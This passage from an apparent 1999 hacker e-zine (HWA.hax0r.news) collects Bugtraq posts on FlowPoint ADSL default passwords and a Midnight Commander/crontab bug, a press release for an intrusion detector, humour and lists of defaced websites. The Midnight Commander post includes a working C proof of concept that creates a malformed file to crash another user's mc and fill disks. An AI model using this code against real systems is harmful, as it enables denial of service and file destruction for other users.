      Approved-By: aleph1@UNDERGROUND.ORG 
       Received: from goju.Stanford.EDU (Goju.Stanford.EDU [171.64.12.46]) by 
                 netspace.org (8.8.7/8.8.7) with ESMTP id XAA17148 for 
                 <BUGTRAQ@NETSPACE.ORG>; Wed, 14 Apr 1999 23:34:26 -0400 
       Received: (from dbrumley@localhost) by goju.Stanford.EDU (C.3.P0/8.8.8) id 
                 UAA03501; Wed, 14 Apr 1999 20:33:41 -0700 (PDT) 
       MIME-Version: 1.0 
       Content-Type: TEXT/PLAIN; charset=US-ASCII 
       Message-ID: <Pine.GSO.3.96.990414201551.3498B-100000@goju.Stanford.EDU> 
       Date:   Wed, 14 Apr 1999 20:33:41 -0700 
       Reply-To: David Brumley <dbrumley@GOJU.STANFORD.EDU> 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: David Brumley <dbrumley@GOJU.STANFORD.EDU> 
       Subject:      Re: FlowPoint ADSL Reported Problem 
       X-To:         Philip Rakity <pmr@flowpoint.com> 
       X-cc:         Dano Ybarra <dano@flowpoint.com>, 
                     Stewart Hulett <stu@flowpoint.com> 
       To: BUGTRAQ@netspace.org 
       In-Reply-To:  <Pine.LNX.3.96.990414175052.28697B-100000@flowpnt> 
       
       
       >
       > Recently there was a note in the bug list (below) indicating that
       > FlowPoint Routers do not set an administration password.  This statement
       > is false, but the vulnerability of the router to folks not changing the
       > default router password is well known.
       
       
       What's false about the statement?  Is there or is there not either
       a. a universal password (say, admin) as some reported
       b. no password at all
       and full telnet access open by default?
       
       
       >
       > Our GUI asks the user to change the password.
       
       
       And suppose your GUI isn't supported on my OS?
       
       
       >
       > Release 3.0.2 onwards requires the user to enter the password
       > to access any information via the console or telnet.
       >
       
       
       [--snip--]
       Okay, here starts the recommendation for *admins*.  This is exactly what I
       was pointing out.  Thanks for giving examples.
       
       
       However, it has nothing to do with your product doing something bad in the
       first place.  Out of the box I can control your router.
       
       
       Why don't you disable SNMP and telnet when a password isn't set like some
       router companies?  Or perhaps have the default password unique to each
       machine...say the serial number and turn off SNMP completely?  This would
       limit the threat to those with physical access, and considering where most
       aDSL's are found, i don't think it'd be a big problem.  Half a dozen other
       possible solutions spring to mind.  Offline I'd be happy to discuss them
       with you.
       
       
       Incident response teams all over have noted that users with cable modems
       have been targeted by some nefarious individuals.  As aDSL moves into this
       market, naturally the kiddies will want to take advantage of it.  This is
       the number one reason you, me, and every  other aDSL user should be
       concerned.
       
       
       Cheers,
       -db
       
       
       > >
       > > -----Original Message-----
       > > From:   David Brumley [SMTP:dbrumley@GOJU.STANFORD.EDU]
       > > Sent:   Tuesday, April 13, 1999 11:02 PM
       > > Subject:    aDSL routers
       > >
       > > Welp, aDSL is here.  And at least one manufacturer, flowpoint, sets no
       > > admin password.  It's in the documentation, so I assume the
       > > company already knows about this vulnerability:) System managers
       > > who have aDSL access often overlook this, so I thought I'd point it out.
       > > A quick fix: disable telnet access to all of your aDSL router IP's.
       > > Better fix: set an admin password.
       > >
       > > Version tested:
       > > FlowPoint/2000 ADSL Router
       > > FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00)
       > > Software version v1.4.5 built Tue Aug 11 23:20:20 PDT 1998
       > >
       > > Cheers,
       > > -db
       > >
       >
       > 
       
       @HWA      
       
 37.0  Another bug in Midnight Commander/crontab
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Approved-By: aleph1@UNDERGROUND.ORG 
       Received: from lighting.ml.org (qmailr@main.lighting.ml.org [195.205.44.70]) by 
                 netspace.org (8.8.7/8.8.7) with SMTP id CAA05322 for 
                 <bugtraq@netspace.org>; Thu, 15 Apr 1999 02:15:49 -0400 
       Received: (qmail 19504 invoked by uid 1030); 15 Apr 1999 06:16:08 -0000 
       Message-ID: <19990415061608.19503.qmail@lighting.ml.org> 
       Date:   Thu, 15 Apr 1999 06:16:08 -0000 
       Reply-To: z33d@LIGHTING.ML.ORG 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: Maurycy Prodeus <z33d@LIGHTING.ML.ORG> 
       Subject:      Large size file and Midnight/bug in crontab with this file 
       To: BUGTRAQ@netspace.org 
       
       
       Hello ...
       *******************************************************************************
       *
       * I.  -= Midnight small buf =-
       *
       * II. -= Large size file - you can fill disk too with crontab ( Michal
       *   Zalewski found this )
       *
       *******************************************************************************
       
       
       I.
       
       
       This time I found another bug in Midnight Commander 4.xx [ i used 4.1.33 ;)] ...
       We can make a Segmentation Fault and if root doesn't lock this , it causes
       Core Dumping ... ofcourse we just make some file in /tmp (?) and if root
       read this file ... his mc creates core... yeesss we can make symlink to
       every file in system ... and this file will be total destroy !
       Together with "Social Engeering",it is dangerous . [ filename may be example :
       hacker.tools or sth. ]
       What file we must create ?
       With negative size , but really it is a very large size ;-) ( very strange
       that even in kernel 2.2.5 it is posible )
       
       
       Quick test : Run this program and next run mc and try read [ F3 ofcourse
       and example PageDown ]  file which was created by mc-kill ...
       
       
       --------- mc-kill.c ------------
       
       
       #include <sys/file.h>
       #include <stdio.h>
       #define size -900000
       
       
       main(int argc,char* argv[]) {
         int i;
         if (!argv[1]) {
           printf("\nUSAGE : %s filename[and patch] \n\n",argv[0]);
           exit(0);
         }
         fchmod(i=open(argv[1],O_RDWR|O_CREAT,0600),0666);
         ftruncate(i,size);
         fsync(i);
       }
       ------------ end of mc-kill.c ---------------
       
       
       SOLUTION
       
       
       You NEVER read strange file in MC ...:-)
       hmmm seriously : lcamtuf [ http://dione.ids.pl ] wrote kernel module which
       not allow to create symlinks in /tmp ...
       
       
       II.
       
       
       If you use above program ( or /dev/zero :-) ) you may fill partition ...
       When crontab is reading file , creates temp in /var/spool/cron/ ( non-root
       can't even read this - lcamtuf ) But , if it doesn't finish then doesn't
       delete
       this temp file ... OK. So , we must give crontab file with "infinit" size
       .
       
       
       Example : crontab -file-made-by-mc-kill
       
       
       
       SOLUTION
       
       
       It isn't very dangerous.
       
       
       
       
       
       *******************************************************************************
       
       
       z33d email : z33d@lighting.ml.org www : z33d.lighting.ml.org
       
       
       Jesli nie istnieje racjonalna strategia optymalna , optymalna strategia
       jest strategia losowa ...
                                     - unknown 
                                     
       @HWA                                    
       
 38.0  NFR releases Back Officer desktop IDS
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      http://nt.excite.com/news/bw/990415/dc-network-flight-record 
       
      NFR BackOfficer Friendly Goes On Patrol 
      (Last updated 10:37 AM ET April 15)


      WASHINGTON (BUSINESS WIRE) - Network Flight
      Recorder(R) (Bloomberg Ticker: 9022Z EQUITY), a technology
      leader in intrusion detection and network monitoring, today
      announced the release of NFR(tm) BackOfficer Friendly(tm)
      Version 1.0, a desktop intrusion and scan detection server that
      watches for Back Orifice attacks and other types of scans.

      Back Orifice, a remote control penetration application, silently
      allows hackers complete control of infected machines. Increasingly,
      hackers are also using vulnerability assessment tools designed for
      security professionals, against unsuspecting users.

      "We've found that a huge number of people don't realize that when
      they're dialed into the Internet, whether through a dial-up or cable
      modem, their systems are being periodically scanned by hackers,
      looking for vulnerabilities to exploit," noted Marcus J. Ranum,
      President and CEO of Network Flight Recorder, Inc. "BackOfficer
      Friendly will block and indicate the type and severity of certain
      scans."

      "BackOfficer Friendly helped us investigate a case where another
      police officer's computer was attacked. We were able to track
      down the perpetrator, make an arrest, and seize four computers,"
      said a criminal investigator with a state police agency who was an
      early tester of BackOfficer Friendly. "Upon installing BackOfficer
      Friendly on my machine, I was scanned the very next day."

      Using spoofing server technology, BackOfficer Friendly responds to
      Back Orifice and other possibly unwanted requests with false
      answers that look like they were created by the hacker tool. At the
      same time, BackOfficer Friendly alerts you and records information
      about the source of the attempt and the operations they attempted
      to perform.

      "The spoofing server technology of BackOfficer Friendly uses
      virtually no system resources, and doesn't consume any processing
      power while it's listening for scans. Unlike more elaborate intrusion
      detection systems, it takes about 10 seconds to install and goes right
      to work," said Ranum.

      "Any network or security administrator that manages Windows
      systems should be armed with this intrusion detection tool," said
      U.N. Owen, an Internet security consultant with
      DREAMWVR.COM. "BackOfficer Friendly not only informs you
      in real-time of the situation, it provides you with the necessary
      evidence you will need to stop the hackers cold. It shows you
      exactly how they intend to harm you, so you can react quickly.
      Extendable, it reacts to popular weaknesses in the systems you
      protect. Even as I considered my comments, BackOfficer Friendly
      informed me of yet another intrusion attempt."

      Pricing and Availability

      BackOfficer Friendly 1.0 for Windows environments is available
      immediately for free download from the NFR Web site
      (http://www.nfr.net/products/bof/). The registered version for
      Windows is $10 per desktop. A UNIX version, with a reduced
      feature set, is available in source code format for free download
      from the NFR Web site.

      About Network Flight Recorder (NFR)

      Network Flight Recorder, with offices around the United States and
      resellers worldwide, is a leading developer of intrusion detection,
      network traffic, and network analysis tools. The flexibility of the
      NFR software provides effective local and distributed misuse
      detection solutions for small, medium, and large environments. 

      NFR's highly customizable technology is deployed at more than
      1,500 sites worldwide, including financial institutions, government,
      military and intelligence agencies, and Fortune 500 firms. NFR
      news and company information can be found on The Bloomberg
      under the ticker symbol: 9022Z EQUITY and on the World Wide
      Web at http://www.nfr.net.

      Network Flight Recorder is a registered trademark and NFR, the
      striped NFR logo, BackOfficer Friendly, and the BackOfficer
      Friendly logo are trademarks of Network Flight Recorder, Inc.
      Other products, services, and company names mentioned herein
      may be trademarks of their respective owners. 

      
                               
 AD.S  ADVERTI$ING.           The HWA black market                    ADVERTISEMENT$.
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       <img src="http://www.csoft.net/~hwa/canc0n.gif"> <br>    Come.to/Canc0n99</a>
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
       http://come.to/Canc0n99  http://come.to/Canc0n99 http://come.to/Canc0n99http:j
       http:/                                                               99 http:o
       http:/  login: sysadmin                                              n99 httpi
       /come.  password:                                                    tp://comn
       to/Can                                                               me.to/Cat
       c0n99   SYSTEM NEWS: Canc0n99 is looking for more speakers and       Canc0n99h
       http:/  industry people to attend with booths and talks.             99 http:e
       /come.  you could have a booth and presentation for the cost of      p://comel
       http:/  little more than a doorprize (tba) contact us at our main    n99http:i
       http:/  address for info hwa@press.usmc.net, also join the mailing   n99http:s
       http:/  for updates. This is the first Canadian event of its type    invalid t
       403 Fo  and will have both white and black hat attendees, come out   logged! !
       404 Fi  and shake hands with the other side... *g* mainly have some  IP locked
       ome.to  fun and maybe do some networking (both kinds). see ya there! hostname 
       http:/                                                               x99http:x
       o/Canc                                                               x.to/Canx                 
       http://come.to/Canc0n99  http://come.to/Canc0n99 http://come.to/Canc0n99http:x
       o/Canc0n99 http://come.to/Canc0n99 http://come.to/Canc0n99 http://come.to/Canx

        http://come.to/Canc0n99  http://come.to/Canc0n99  http://come.to/Canc0n99 
 <a href="http://come.to/Canc0n99">Canc0n99</a> <a href="http://come.to/Canc0n99">Canc0n99</a>
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
        
       $$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$$
       !                                                                            !       
       $                                                                            $       
       !     *** IT HAS BEEN FOUR YEARS! ***    FREE KEVIN MITNICK NOW!!!! **       !
       $                                                                            $              
       !                                                                            !
       $$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$

       www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi
       n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co
       m www.2600.com ########################################ww.2600.com www.freeke
       vin.com www.kev#  Support 2600.com and the Free Kevin #.com www.kevinmitnick.
       com www.2600.co#  defense fund site, visit it now! .  # www.2600.com www.free
       kevin.com www.k#             FREE KEVIN!              #in.com www.kevinmitnic
       k.com www.2600.########################################om www.2600.com www.fre
       ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic
       k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre

       <a href="http://www.2600.com/">www.2600.com</a>
       <a href="http://www.kevinmitnick.com></a>
       
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net *
       *   www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net     *
    <a href="http://www.csoft.net">One of our sponsers, visit them now</a> www.csoft.net
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV *
       * JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD*
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM *
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *


         //////////////////////////////////////////////////////////////////////////////
        //  To place an ad in this section simply type it up and email it to        //
       //        hwa@press,usmc.net, put AD! in the subject header please. - Ed    //
      //////////////////////////////////////////////////////////////////////////////


     @HWA

 HA.HA Humour and puzzles ...etc
       ~~~~~~~~~~~~~~~~~~~~~~~~~
                                                           Don't worry. worry a *lot*

       
       A DAY IN THE LIFE OF A LEET HAX0R
       by 0rin
       
       Part 1: A School Day
       ---------------------
       7:20am: Elite hax0r wakes up to prepare for another challenging day of 7th grade.
       7:25: Elite hax0r signs onto AOL (computer is never turned off)
       7:30: Elite hax0r checks new mail for elite hacking progs and warez
       7:40: After 10 minutes of chatting in with the folks in leet, elite hax0r's mom takes the telephone off the hook.
       7:55: m0m and elite hax0r are having an argument about wasted time online.
       8:00: elite hax0r's dad drops him off at Mitnick Middle School
       8:05: elite hax0r enters typing class. this is his elite hacking playground, and he loves to confuse the teacher by pressing num lock,
       and shouting '3y3 hax0red j00!!!'
       9:00: typing class is over, and elite hax0r travels to his history class. No 'puters here, so, he strategically places his copy of 2600
       inside his history book and memorizes the 'how to steal stuff' article.
       9:30: history teacher catches elite hax0r with the clandestine 2600 and takes it away from him. elite hax0r begins a
       heart-wrenching speel about freedom of speech, and his right as a citizen of this country to read his elite 2600 whenever he
       pleases. he compares this atrocity to the unjust imprisonment of hax0rs everywhere, and takes comfort in his martyrdom. leet is
       definitely hearing about this tonight.
       10:05: elite hax0r goes to english. 
       10:50: elite hax0r goes to lunch period. here, he sits with his class in the cafeteria and takes his usual spot near the lunchlady's
       cashregister so he can write down people's lunch numbers. This comes in handy, as they could possibly use their lunch number as
       their AOL password. And if not, its always really leet to have even the most insignificant 1nph0z.
       11:25: elite hax0r goes to pre algebra. today, he makes the kid in the desk next to him ph33r when he types 1134 on the calculator
       and holds it upside down. he wonders if this is similar to hacking an LED sign like in 2600..?
       12:15: elite hax0r goes to science class where he learns about the reproductive system. elite hax0r excuses himself from class where
       he performs a quick wetware hack.
       1:30: elite hax0r gathers his books and stands in front of the school
       1:35: elite hax0r is picked up by the small yellow bus with the power lift on the back.
       2:00: elite hax0r is dropped off at home, and he rushes inside to sign on and check his mail.
       2:30: after 30 minutes online, elite hax0r is forced to sign off and take a nap. Ms. Hax0r cant have her baby getting cranky.
       4:45: elite hax0r wakes up, and begins writing his manifesto, which he plans to present to his history teacher tomorrow.
       4:47: elite hax0r gets tired of writing and feels like going outside. he and his little brother ride their bikes around in circles in the
       carport.
       5:15: Ms. Hax0r calls the children inside for dinner. 
       6:00: hax0r children finish dinner, and elite hax0r asks for permission to get online and hack some stuff. 
       6:05: elite hax0r battles AOL's perpetual busy signal; its probably just a ploy by AOL to block him from coming online, in ph33r he
       might hax0r their network.
       7:05: elite hax0r continues to hax0r away at AOL's "busy signal"
       7:30: finally, elite hax0r crax0rs the busy signal and sneaks his way inside. He checks his mail for leet progs and tries to enter pr
       'leet'. But, in another attempt by AOL to bring him down, the room is full (its really just their $3cur1ty 3xp3rt$ trying to keep him
       out). 
       7:40: elite hax0r finally busts into 'leet' in 137 tries. 
       he chats with his homies.
       8:00: elite hax0r is still chatting with the leets, when Ms. Hax0r picks up the fux0ring telephone and signs him offline.
       8:35: after 20 minutes of crax0ring the "busy signal", in an angered retalliation attempt, elite hax0r steals mom's credit cards and
       scrolls them in 'leet' and 'phreak'.
       9:00: elite hax0r finally finishes scrolling, and takes some time to work on his webpage;
       http://members.aol.com/Leethax0r/index.html. Here, he posts his new hax0r's manifesto, and lists $houtoutZ to his homies in 'leet'
       and 'punt', and his main chix0r Annie.
       10:00: after an hour of figuring out how to use the AOL webpage software, he grows tired of all this brain work, and signs offline.
       10:25: leet hax0r brushes his teeth,puts on his kevin mitnick pajamas, and goes to sleep.
       11:00: leet hax0r dreams that he is Dade Murphy, and that he is having wild sex0r with Acid Burn, while hacking the FBI's Main
       Gibson. 
       
       
       http://neatoelito.org/hax0ring/day.html


       @HWA
       
  HOW.TO How to hack part 3
         ~~~~~~~~~~~~~~~~~~
         
         To be continued (probably) in a future issue... if time permits
         and inclination is prevelant. ie: if & when I feel like it.. :p
         (discontinued until further notice)
         
         Meanwhile read this: 
                         
                          http://www.nmrc.org/faqs/hackfaq/hackfaq.html
          <a href="http://www.nmrc.org/faqs/hackfaq/hackfaq.html">Link</a>
          And especially, this:
          
                          http://www.tuxedo.org/~esr/faqs/hacker-howto.html
          <a href="http://www.tuxedo.org/~esr/faqs/hacker-howto.html">Link</a>                          
                          (published in its entirety in issue #12)
                          
         @HWA
       
       
  SITE.1 
         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       
         
         
  H.W  Hacked websites 
       ~~~~~~~~~~~~~~~~

     Note: The hacked site reports stay, especially with some cool hits by
           groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed

         * Hackers Against Racist Propaganda (See issue #7)
     
          
     April 10-12th via HNN rumours section
     contributed by Anonymous 
     
     <a href="http://www.wrestlepage.com">http://www.wrestlepage.com</a>
     <a href="http://www.nl.gob.mx/">http://www.nl.gob.mx/</a>
     <a href="http://www.nuevoleon.gob.mx/">http://www.nuevoleon.gob.mx/</a>
     <a href="http://sgi.bls.umkc.edu/">http://sgi.bls.umkc.edu/</a>
     <a href="http://www.questdv.com/">http://www.questdv.com</a> 
     <a href="http://www.familywells.com/">http://www.familywells.com</a> 
     <a href="http://www.towngreen.com/">http://www.towngreen.com</a> 
     <a href="http://www.eranorton.com/">http://www.eranorton.com</a> 
     <a href="http://www.babyspice.co.uk">http://www.babyspice.co.uk</a> 
     <a href="http://www.mbassociates.com/">http://www.mbassociates.com/</a>
     <a href="http://www.stannecu.org/">http://www.stannecu.org/</a>
     <a href="http://www.charlie-farren.com/">http://www.charlie-farren.com/</a>
     <a href="http://www.kristalpooler.com/">http://www.kristalpooler.com/</a>
     <a href="http://www.webhackers.com/">http://www.webhackers.com/</a> 
     <a href="http://www.home-listings.com/">http://www.home-listings.com/</a> 
     <a href="http://www.folgersliquors.com/">http://www.folgersliquors.com/</a>
     <a href="http://www.indecu.gov.ve/">http://www.indecu.gov.ve/</a>
     <a href="http://www.kristalpooler.com/">http://www.kristalpooler.com/</a>
     <a href="http://www.impulsions.com/">http://www.impulsions.com/</a> 
            
     
     April 14th
     contributed by Anonymous  
       Via HNN's rumours section;
            
       <a href="http://mexico.silverserver.co.at">http://mexico.silverserver.co.at</a>
       <a href="http://pitesti-gw.mediacom.pcnet.ro">http://pitesti-gw.mediacom.pcnet.ro</a> 
       <a href="http://chiavari.omninet.it">http://chiavari.omninet.it</a> 
       <a href="http://rapallo.newnetworks.it">http://rapallo.newnetworks.it</a> 
       <a href="http://servizi.raffo.it">http://servizi.raffo.it</a> 
       <a href="http://nazi.org">http://nazi.org</a> 
       <a href="http://hitler.org">http://hitler.org</a> 
       <a href="http://www.amerika.org">http://www.amerika.org</a> 
       <a href="http://www.moral.org">http://www.moral.org</a> 
       <a href="http://www.genocide.org">http://www.genocide.org</a> 
     
     
     April 15th
     contributed by Anonymous 
      Via HNN rumours section.
     Cracked
     The following sites have been reported to us as cracked:
    
       <a href="http://www.cd-worldwide.com">http://www.cd-worldwide.com</a> 
       <a href="http://www.towngreen.com">http://www.towngreen.com - again </a>
       <a href="http://www.winscene.net">http://www.winscene.net</a> 
       <a href="http://www.sintek.net">http://www.sintek.net</a> 
       <a href="http://www.eldoradokansas.com/">http://www.eldoradokansas.com/</a>
       <a href="http://www.anuies.mx">http://www.anuies.mx</a> 
     
     April 16th
       
       <a href="http://www.olinet.com/">http://www.olinet.com/</a>
       <a href="http://www.nidagroup.com>http://www.nidagroup.com</a> 
       <a href="http://www.softmap.com">http://www.softmap.com</a> 
       <a href="http://www.amspirit.com">http://www.amspirit.com</a> 
       <a href="http://www.kicks.com">http://www.kicks.com</a> 
       <a href="http://www.columbusrotary.com">http://www.columbusrotary.com</a> 
       <a href="http://www.ohiocancer.org">http://www.ohiocancer.org</a> 
       <a href="http://www.cyberlinebbs.com">http://www.cyberlinebbs.com</a> 
       <a href="http://www.cam-bell.com">http://www.cam-bell.com</a> 
       <a href="http://www.wescosupply.com">http://www.wescosupply.com</a> 
       <a href="http://www.tosrv.org">http://www.tosrv.org</a> 
       <a href="http://www.wildblueyonder.com">http://www.wildblueyonder.com</a> 
       <a href="http://www.leadinc.com">http://www.leadinc.com</a> 
       <a href="http://www.mcelheny.com">http://www.mcelheny.com</a> 
       <a href="http://www.auldco.com">http://www.auldco.com</a> 
       <a href="http://www.famentinc.com">http://www.famentinc.com</a> 
       <a href="http://www.mbauctioneer.com">http://www.mbauctioneer.com</a> 
       <a href="http://www.sizzlemarine.com">http://www.sizzlemarine.com</a> 
       <a href="http://www.wgglaw.com">http://www.wgglaw.com</a> 
       <a href="http://hackedalert.8m.com">http://hackedalert.8m.com</a>
       
       from HNN rumours section;
       
       Innerpulse Cracked?
       
       There seems to be a lot of confusion as to what has happened to 
       Innerpulse.com, a hacker news site that takes a more humorous 
       approach than HNN. Some have said that they have been cracked,
       other think they have been bought out. Who knows. HNN has been
       unable to contact the operators of either site. Your guess is as
       good as ours. 
       
       (It should be interesting to note that the HWA mirror on the same server
       as innerpulse appears to have been rm'd and our password no longer works
       on our account on that site - coincedence? also on visiting the 
       www.innerpulse.com site you are now greeted with what appears to be a 
       law firm's new webpage, on EFNet #innerpulse the topic claims that 
       innerpulse was '0wned by AMBULANCE CHASERZ' wether this is a legit hack
       or the case of a server getting fedup with hackersites is unknown at this
       writing - Ed )

       Site as it stands now: <a href="http://www.innerpulse.com/">Link</a>
       
                         Welcome to the new Home Page of the 

                            Law Office of Roni M. Stutman




   Our Web Site is currently under construction. Please contact us using the following particulars: 
        
        
                        Address: 367 Elm Street 
                                 West Haven, CT 06516
                      Telephone: (203) 934-4104
                            Fax: (203) 931-3036
                          Email: rstutman@ctlawoffice.com
       
       
       
       @HWA
       _________________________________________________________________________

  A.0                              APPENDICES
       _________________________________________________________________________



  A.1  PHACVW, sekurity, security, cyberwar links
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       The links are no longer maintained in this file, there is now a
      links section on the http://welcome.to/HWA.hax0r.news/ url so check
      there for current links etc.

      The hack FAQ (The #hack/alt.2600 faq)
      http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
      <a href="http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html">hack-faq</a>

      Hacker's Jargon File (The quote file)
      http://www.lysator.liu.se/hackdict/split2/main_index.html
      <a href="http://www.lysator.liu.se/hackdict/split2/main_index.html">Original jargon file</a>

      New Hacker's Jargon File.
      http://www.tuxedo.org/~esr/jargon/ 
      <a href="http://www.tuxedo.org/~esr/jargon/">New jargon file</a>
      
      
      Mirror sites:
      ~~~~~~~~~~~~
      http://www.csoft.net/~hwa/ (Down, we don't know whats going on at cubesoft)
      http://members.tripod.com/~hwa_2k
      http://welcome.to/HWA.hax0r.news/
      http://www.attrition.org/~modify/texts/zines/HWA/
      http://www.genocide2600.com/~tattooman/zines/hwahaxornews/  


      International links:(TBC)
      ~~~~~~~~~~~~~~~~~~~~~~~~~

      Foreign correspondants and others please send in news site links that
      have security news from foreign countries for inclusion in this list
      thanks... - Ed

      
          
      Belgium.......: http://bewoner.dma.be/cum/              <a href="http://bewoner.dma.be/cum/">Go there</a> 
      Brasil........: http://www.psynet.net/ka0z              <a href="http://www.psynet.net/ka0z/">Go there</a>
                      http://www.elementais.cjb.net           <a href="http://www.elementais.cjb.net/">Go there</a>
      Columbia......: http://www.cascabel.8m.com              <a href="http://www.cascabel.8m.com/">Go there</a>
                      http://www.intrusos.cjb.net             <a href="http://www.intrusos.cjb.net">Go there</a>
      Indonesia.....: http://www.k-elektronik.org/index2.html <a href="http://www.k-elektronik.org/index2.html">Go there</a>
                      http://members.xoom.com/neblonica/      <a href="http://members.xoom.com/neblonica/">Go there</a>
                      http://hackerlink.or.id/                <a href="http://hackerlink.or.id/">Go there</a>
      Netherlands...: http://security.pine.nl/                <a href="http://security.pine.nl/">Go there</a>       
      Russia........: http://www.tsu.ru/~eugene/              <a href="http://www.tsu.ru/~eugene/">Go there</a>
      Singapore.....: http://www.icepoint.com                 <a href="http://www.icepoint.com">Go there</a>

    Got a link for this section? email it to hwa@press.usmc.net and i'll
    review it and post it here if it merits it.

    @HWA
    

  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
    --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--

    © 1998, 1999 (c) Cruciphux/HWA.hax0r.news <tm> (R) { w00t }
    
        
    
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-                       
     --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
   [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
       [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]    
